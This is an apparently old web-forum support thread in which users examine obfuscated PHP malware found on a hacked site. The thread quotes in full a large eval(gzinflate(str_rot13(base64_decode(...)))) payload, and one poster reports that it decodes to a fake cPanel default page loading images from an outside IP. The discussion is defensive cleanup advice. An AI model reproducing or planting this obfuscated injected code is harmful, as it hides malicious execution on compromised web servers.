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'))));

Back to top

#153 DunWeb

The Censored One

Members
12,816 posts

Real Name:Chris
Gender:Male
Location:Ontario, Canada

@Mention

Posted 11 July 2012 - 07:04 PM

@Lucien

You don't need to decode it, you need to remove it.....remove all malicious code and anomalous files from the server and then secure the site so it can't be hacked again. See the SECURITY forum for more information.

Chris

:|: Was this post helpful ? Click the LIKE THIS button :|:

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Back to top

#154 germ

Members
13,921 posts

Real Name:Jim
Gender:Male
Location:USA (GMT-6)

@Mention

Posted 12 July 2012 - 01:50 AM

Lucien, on 11 July 2012 - 06:59 PM, said:

Can someone pls help me decode this

eval(gzinflate(str_rot13(base64_decode('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'))));

It goes thru 41 iterations of

eval(gzinflate(str_rot13(base64_decode( blah ... blah... blah))));

In the end it spits this out to the browser:

<html>
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<title>Default Web Site Page</title>
<style type="text/css">
body {font-family:arial;margin:0;padding:0;background:url(/img-sys/bg.jpg) repeat-x #dff4fe;color:#6f6f6f;font-size:12px;}
a {color:#0075a9;}
* {margin:0;padding:0;}
h1 {background:url(http://184.164.142.199/img-sys/header.jpg) no-repeat; height:83px;text-indent:-9999px;}
h2 {font-size:13px;margin:15px 0 0 50px;padding:0;}
p {margin:10px 15px 15px 50px;}
#wrap {margin:50px auto 20px auto;width:906px;}
.msg {background:url(http://184.164.142.199/img-sys/contentbox.jpg) no-repeat; min-height:206px; color:#000;font-size:16px; padding:25px;}
* html .msg {height:206px;}
.msg p{border:none;margin:0 0 10px 0;}
.msg ul {margin:15px 15px 0 15px;}
li {margin:10px 0;}
.note {font-style:italic; border-bottom:1px solid #cae0e5; border-top:1px solid #cae0e5; padding:15px 0;margin-right:50px;}
#contactinfo, .contactinfo {padding:5px 0;}
#contactinfo li, .contactinfo li {float:left;padding:5px;width:250px;list-style:none;font-size:14px;}
p.troubleshoot {font-style:italic;border:dashed 1px #dfe9ed;padding:5px;margin:10px 0 0 0;}
</style>
</head>
<body>
<h1>Default Web Site Page</h1>
<div id="wrap">
<div class="msg">
  <p><strong>If you feel you have reached this page in error, please contact the web site owner:webmaster@casts</strong></p>
  <div class="contactinfo"><a href="mailto:webmaster@casts">webmaster@casts</a></div>
  <p class="troubleshoot">It may be possible to restore access to this site by <a href="http://www.cpanel.net/docs/dnscache/cleardns.html">following these instructions</a> for clearing your dns cache.</p>
</div>
<div class="msg">
<p><strong> If you are the web site owner, it is possible you have reached this page because:</strong></p>
<ul>
<li>The IP address has changed.</li>
<li>There has been a server misconfiguration.</li>
<li>The site may have been moved to a different server.</li>
</ul>
<p><strong>If you are the owner of this website and were not expecting to see this page, please contact your hosting provider.</strong></p>
</div>
</div>
<p class="note"><strong>Note</strong>: Although this site is running cPanel, WebHost Manager, and Apache software it almost certainly has no other connection to cPanel Inc. or the Apache Group. Please do not send mail about this site or its contents to cPanel Inc. or the Apache Group.
</p>
	<h2>About cPanel:</h2>
	<p>cPanel is a leading provider of software for the webhosting industry. If you would like
	to learn more about cPanel please visit our website at <a href="http://www.cpanel.net/">www.cpanel.net</a>.
	Please be advised that cPanel Inc. is not a web hosting company, and as such has no control over
	content found elsewhere on this site.</p>
	<h2>About Apache HTTP Server:</h2>
	<p>The Apache HTTP Server is an open source web server which powers many of the world's web sites.
	The Apache HTTP server is part of the Apache Group's many influential projects. Their efforts have
	helped shape much the world wide web, and they continue to be a dominating force in the web hosting
	industry.</p>
</body>
</html>

In case you're wondering the IP address in the code traces to Tempe Arizona, USA

Strangest "hack" I've seen.....
:huh:

If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.

"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."
